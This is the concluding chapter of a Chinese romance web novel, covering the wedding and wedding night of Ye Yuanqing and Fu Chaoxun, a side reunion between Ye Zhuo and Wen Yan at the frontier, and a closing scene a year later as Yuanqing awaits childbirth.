叶元倾一大早起床妆扮,嬷嬷们一阵手忙脚乱,叶元倾开心的合不拢嘴。 她已经是第二次嫁给傅朝寻了,相比第一次,这次她真的太开心了,一想到以后能与他相夫教子一生一世不离不弃,她的眉眼就不自觉地弯起来。 叶宁兴冲冲地跑来,看着她漂亮的装扮,羡慕地说:“看着姐姐成婚,我也想成婚,要是我们能一起出嫁就好了。好羡慕姐姐能嫁给自己喜欢的人。傅朝寻长相好能力强,还疼姐姐,姐姐后半生一定会非常非常幸福的。” 叶元倾听着这些话,心里暖暖的,但是没人知道,这是她用七年的时间换来的。 叶宁凑到她耳边,好奇地问:“姐姐,那天我看到傅朝寻亲你了,你告诉我什么感觉。” 叶元倾脸颊立即红了,t?趴到她耳边回道:“很好,飘飘的,我们还进一步交流了呢,感觉特别奇妙。” 进一步交流?叶宁眨了眨眼,兴奋地说:“快给我细细讲讲。” 叶元倾揉了揉她的小脸:“傻丫头,这事怎么细讲,等你成了婚就知道了。” 叶宁好奇的不行,说:“回头我去问问傅呈延还愿不愿意娶我,若是愿意我们就快点成婚,成了婚就可以体验了,他长相好,身板好,吃起来应该非常香。” 一说到傅呈延,叶宁眼睛都亮了。 迎亲队伍很快就到了。 傅朝寻身穿一袭红色婚服,骑在高大的骏马上,就像当年那个在城门下意气风发的少年郎。 将军府门前鞭炮齐鸣,祝贺的人络绎不绝,大家都在夸这对新人郎才女貌,天生一对,也都羡叶元倾能嫁给傅朝寻这样长相好又有能耐的男人。 傅朝寻今日格外精神,剑眉星目,玉树临风,好看的就像个仙人。他翻身下马,被大伙儿簇拥着堵在了门前。 叶元恒挡在门外,脸都笑开花了,非要新郎官做几首诗才放人进去。 大伙儿一阵起哄,搞得傅朝寻脸颊通红,他临时发挥做了几首诗,然后撒了糖果和喜钱才被放了进去。 他又被人簇拥着到了新娘的房间。 小丫鬟把他推进了屋门,他踉跄了几步差点撞到花几上。 叶元倾顶着红盖头,听到动静,轻轻叫了一声:“傅朝寻。” 傅朝寻站稳身,应了一声:“元倾。” 她的傅朝寻来娶她了。 傅朝寻走到床边,把她抱起,说:“元倾!我带你回家。” 回家。 她应着,搂紧了他。 傅朝寻抱着她出了屋门,又被大伙儿簇拥到了门外。他把叶元倾放上花轿,给大伙儿行了礼,跃身上马,风风光光地把新娘娶走了。 叶家一家人站在门前,有的开心,有的落泪,傅青眼含泪光地常常舒了口气,这俩苦命的孩子终于可以安心地生活了。 迎亲队伍到了宁远侯府,府门前也堵了很多人,有的是亲朋好友,有的是朝中官员,大伙儿都非常热情。 傅柏弘看着骑在骏马上一袭红衣的儿子,不知不觉红了眼眶,恍惚间,他好像看到了曾经那个桀骜不驯的自己。傅朝寻能有今天,是他没有想到的,但是他非常开心。 傅呈延今天穿的格外喜庆,和卫知一起在侯府里忙东忙西,府上里里外外都是他们两个布置的。 卫知见傅呈延如此尽心尽力,特别欣慰,他知道傅呈延心里是有这个弟弟的,现在兄弟俩和好了,公子这么多年的努力没有白费。 如今公子家庭美满了,也娶到了心爱的姑娘,他真的太替公子开心了,不久后,他也要成婚了,他也能娶到心爱的姑娘了,他在湖边许的愿望全都实现了。 新郎新娘拜了堂,新娘被送入了洞房。 叶元倾坐在婚床上,激动的心情无法言喻。 傅朝寻去敬酒,中间跑来好几趟,还给她带了点心吃。 傍晚,众人散场,终于到了他们的洞房花烛夜的环节。 傅朝寻今天没喝太多酒,他推门进了房间,快步走到叶元倾跟前,叫了一声“元倾”,然后掀开了她的红盖头。 叶元倾呼了口气,说:“真是闷死我了。” 傅朝寻看了看她精致的装饰,俯身摸了摸她的眼皮,笑说:“今天又涂了亮闪闪的东西,看起来真可爱。” 叶元倾眨了眨眼:“你要是喜欢,我以后天天涂。” 傅朝寻点着头,拉着她走到桌前坐下:“快点喝交杯酒,喝完洗洗睡觉。” 他有点迫不及待了。 叶元倾捂着肚子说:“我想吃东西。” “想吃什么?” “什么都行,能吃饱就行,我害怕一会没力气。” 一会没力气? 傅朝寻立马明白了的意思,麻溜地跑出去给她端了一些饭菜过来。 叶元倾为了节省时间,捡了一些可口的吃下,然后又喝了一碗粥。 吃完饭,两个人开始喝交杯酒。 这已经是第二次喝交杯酒了,不算陌生,但很激动。 二人喝完交杯酒,傅朝寻把叶元倾的发饰一一取下来,又帮她脱掉反锁的婚服,然后抱着她去隔壁房间沐浴。 房间里摆着一个超级大的浴桶,桶里撒了很多花瓣。 傅朝寻把叶元倾放进浴桶里,脱下衣服跳了进去。 两个人第一次一起沐浴,叶元倾害羞的一直捂着脸,傅朝寻也有点不好意思。 傅朝寻把她身上仅剩的衣衫脱掉,又用簪子把她的长发简单挽了下。 叶元倾往下缩了缩身,不敢去看他。 傅朝寻把她扯到怀里,说:“不是已经做过了吗?怎么还害羞?” 怎么能不害羞。 叶元倾抬眸看他,张了张唇,说:“在水里有点不习惯。” 他望着她被热气熏红的脸颊,轻轻扯了她一下,她感觉轻飘飘的,一下贴在了他的身上,她禁不住喊了声:“傅朝寻。” 他贴着她的胸口,伸手拖住她的小脸,说:“都成婚了,是不是要改下称呼。” 叶元倾想了想,说:“叫你朝寻?” 傅朝寻摇摇头。 “寻?” 傅朝寻又摇摇头。 叶元倾眨了眨眼,道:“相公?或者夫君?” 傅朝寻终是笑了。 叶元倾有些叫不出口,好一会才叫了一声:“夫君。” 傅朝寻应着,长指又探入她的口中开始挑逗她。 他手指上带着水,叶元倾感觉口中湿漉漉的,含着了下,又轻咬了下,傅朝寻更激动了,开始绕她的舌。 叶元倾被他逗得迷迷糊糊,身上也越来越热。 傅朝寻夹了一片花瓣含入口中,然后抽出手去亲她,他把花瓣送到她嘴里,开始一点点侵占她。 他拖着她的腰俯身亲吻着,她仰着颈,头发和半个身子都浸入了水中,小脸上也沾了水。 傅朝寻越亲越激情,咬了好几片花儿送给她,她满口里都是花香。 他又夹了一片花瓣儿,找下了位置,用花瓣碾了碾,柔软指腹按了按,然后咬了咬她的唇,一点点伸了进去,甫一进去,叶元倾蓦地一颤,咬住了他的嘴唇,肩膀一阵抖动。 她难忍地喊了声:“夫君。” 傅朝寻应着,继续亲她,舌尖勾着她的唇,又撩了下她的舌,然后越探越深。 叶元倾缩了下身,滑到了水里,傅朝寻亲上她,把她按在了盆地,抽出手指放入她口中,身体贴紧贴着,动了下身。 随着水的流动声,叶元倾猛地一颤,指甲掐进了他的皮肉里。 浴桶上的花瓣飘飘荡荡。 叶元倾已经分不清是被水淹的还是被刺激的,整个人飘忽忽的快要没意识了,这种感觉太奇妙了,她太喜欢了。 傅朝寻把她从水里捞起,拥到桶壁上,贴着她的身子,亲掉了她不小心喝进口里的水。 叶元倾全身都是酥麻的,被他按在水里亲了好几次又捞起,最后在一阵激情后,她终是瘫在了他的怀里。 她任凭他侵略着,霸占着,一点反抗的力气都没有,有时候他太用力弄疼了,她也只是掐他几下,忍受不了地催促着他继续,她实在舍不得与他分开。 两个人沐浴了很久,反反复复很多次,最后她几乎不能动弹了,傅朝寻才放了她,把她擦干了抱到床上,继续精力旺盛地用手指撩拨她。 这一个晚上叶元倾都没有休息,被他哄的一愣一愣的,乖巧听话的像只猫儿,他说怎样就怎样,哪怕没有力气了还喊着“我要”。 —— 叶元倾和傅朝寻成婚这天,叶卓以为自己会无所谓,会不在乎,但是当她被傅朝寻抱上花轿时,心里还是嫉妒的不行。 他本来打算在陵国多待几日陪陪叶宁,结果叶宁总是往外跑,骗他说去学琴,实则是偷偷见傅呈延。 傅呈延对叶宁冷言冷语,叶宁也总是骂他,可偏偏这俩人互相看不顺眼还总是见面。 叶卓一个人待着无趣,没两天就回了禹国,中间还拐了一趟边疆。 他初到边疆就遇到了沙尘暴,边疆的环境实在太恶劣了,他在一镇上找了两日才找到温衍。 温衍和他父亲住在一个破旧的小院里,小院不大,但是能阻挡风沙。 时下,一个衣衫褴褛蓬头垢面的人正躺在院中的躺椅上晒太阳。 叶卓进了院,走上前看了看,躺椅上的人听到动静坐起了身。 两个人对上目光,愣了一会,然后异口同声地骂了一句:“狗东西。” 狗东西。 骂完了,都笑了t?。 叶卓蹙眉看着站起身的温衍,问:“怎么搞成了这幅鬼样子?” 邋里邋遢,满脸胡渣。 温衍挠了挠鸡窝一样的头发,挑了挑唇没回答,问他:“你怎么来了?这地方环境不好。” 叶卓四下看了一眼,道:“环境确实不好,你能活到现在,挺不容易的。” 温衍苦涩地笑了笑,请他进了屋。 两个坐下来,一开始都没说话,昔日情敌见面,挺尴尬的。 过了一会,叶卓掏出一把喜糖放在桌子上,说:“他们已经成婚了,我给你带的。” 温衍看了眼喜糖,冷笑一声,说:“所以,你千里迢迢跑来是来看我笑话的?生怕我不生气,还带了喜糖?” 他说话还是这样让人讨厌,叶卓扬扬眉道:“对,就是来看你笑话的,不能我一个人难受,你也得难受。” 温衍无声地笑了笑,拿了一颗糖果吃进嘴里,说:“我早就不在乎了,我不吃醋,也不生气,恐怕白让你跑一趟了。倒是你,挺让我佩服,能坚持到现在。” 叶卓摇摇头:“我也早就放弃了,庆幸没有像你一样落个如此悲惨的结局。” 温衍硬着头皮说:“我不觉得悲惨,住在这里挺好的。” 叶卓冷笑:“死鸭子嘴硬。” 他站起身,四下望了望,找到一个水盆,打了一些水过来,扯起温衍,说:“洗一洗,脏的不行,看着心烦。” 温衍拒绝道:“懒得洗。” 曾经那个干净的贵公子,如今变得如此不修边幅,着实让人唏嘘。 叶卓抓起他的手按在水盆里,说:“别丢人现眼,快洗干净。” 温衍反抗地挣扎了下,叶卓死死按着他不放,叶卓身形高大,有的是力气,瘦弱的温衍完全反抗不了。 不得已,温衍只好洗洗手,又洗了把脸。 叶卓看着他鸡窝一样的头发实在忍不了,又打了一盆水过来,把他按在水盆里,帮他把头发洗了,还拿了毛巾帮他擦干了,又给他挽了一个发髻,最后去马车上拿了一套自己的衣服让他换上。 温衍收拾了一番之后总算恢复了以前的样子,叶卓看着他,又不禁在心中感叹:世上怎么会有这么好看又娇媚的男儿郎。 他看着看着,突然问了一句:“你要不要跟我回禹国?” 温衍挽着宽大的袖子,拒绝道:“不去。” “为何不去?” “我为何要去?” “……禹国环境好,我可以保你周全,也可以给你治病,我会让你后半生过得很安逸。” “我知道你现在做了太子很有权力,可我一个陵国罪人,不明不白地跟你去禹国,会被人怀疑的,万一再落个杀头的大罪。” “我都是太子了,你觉得我会让你出事?只要你跟我走,你要什么官位我都给你。” 温衍没说话了,转过身去倒茶,也没再看他。 房间里安静了一会。 叶卓起身道:“我待不了太久,一会就走,你考虑考虑。” 温衍依旧没说话。 叶卓出了房间,在院子里坐了一会,温衍一直没出来,他抬头看了看天色,没再等他,冲屋里喊了声:“我走了。” 屋里没有动静。 叶卓转身向院外走去,出了院门,温衍终是追了出来,说:“你等我收拾收拾东西。” 叶卓闻声笑了,停下脚步,转身看他,日光投在他温润好看的面颊上,恍惚间,有几分叶元倾的模样。 “好,我等着你。” —— 新婚夫妇一觉睡到下午,叶元倾迷迷糊糊醒来,浑身都是酸疼的,脖颈上被傅朝寻亲出好几个红印。 她揉揉眼睛,转身搂住一旁的傅朝寻,然后撩拨了一下他修长的眼睫,问他:“今天不去办事吗?” 傅朝寻伸臂搂紧她,回道:“不去,这三天都在家里陪你。” 叶元倾的目光落在他水红的嘴唇上,凑上去亲了一口,笑说:“那再睡一会,晚间去放烟花。” 他应了声,问她:“饿不饿?” 叶元倾摇摇头:“不饿,你饿吗?” 他回道:“很饿。” 叶元倾拉他起身:“那快去吃饭。” 傅朝寻把她捞进怀里,笑道:“我说的饿不是肚子饿。” 叶元倾眨了眨眼,撤了下身:“别了吧!我受不了。” 傅朝寻拖住她的小脸,轻哄道:“听话,就一次。” 说是一次,结果没收住又要了她很久。 转眼过了一年,又是春暖花开的季节,叶元倾坐在院中的石桌旁看书,伶儿端了茶过来,说:“小姐,马上就要生产了,千万不能坐太久。侯爷嘱咐好几遍不让您看书,您怎么又看了?” 叶元倾放下书,摸了摸圆鼓鼓的肚子,笑说:“有点无聊,就看了会。” 伶儿扶着她起身:“无聊了可以找伶儿说说话,侯爷马上就回来了,您想吃什么?我让厨子去准备。” 叶元倾回道:“我吃什么都行,炒几个朝寻爱吃的,他最近忙,我看他都瘦了。” “好。” 伶儿去厨房准备,叶元倾在院子里走了一会。 “元倾!”傅朝寻下朝回来,轻声叫她。 叶元倾迎上他,问:“今天怎么回来这么早?” 傅朝寻抓起她的手,回道:“今天的事情处的快。” 他说完,摸了摸她的肚子问:“小家伙又踢你了吗?” 叶元倾笑回道:“踢了,踢得挺厉害,劲挺大的,以后肯定像你。” 傅朝寻笑了声,拉着她坐下,从衣袖里掏出一个发簪给她看:“你看看这个好不好看?” 是一把桃花簪子,几朵桃花娇艳绽放,花瓣细腻逼真,仿佛能闻到桃花的芬芳,簪身线条流畅,材质温润,精致而又漂亮。 叶元倾点着头,惊喜道:“好看,这次买的很漂亮,我喜欢。” 傅朝寻帮她把发簪戴上,她晃了晃脑袋,开心的笑了,笑容比花儿还要灿烂。 “元倾!” “嗯。” “今天吃什么?” “做了你爱吃的菜,饭后你还要出去办事吗?” “不去了,我在家里陪着你。” “好!我想看书。” “我读给你听。” “元倾!” “嗯。” “生完孩子,可以不分床吗?” “孩子怎么办?” “……睡筐里。” (正文完结)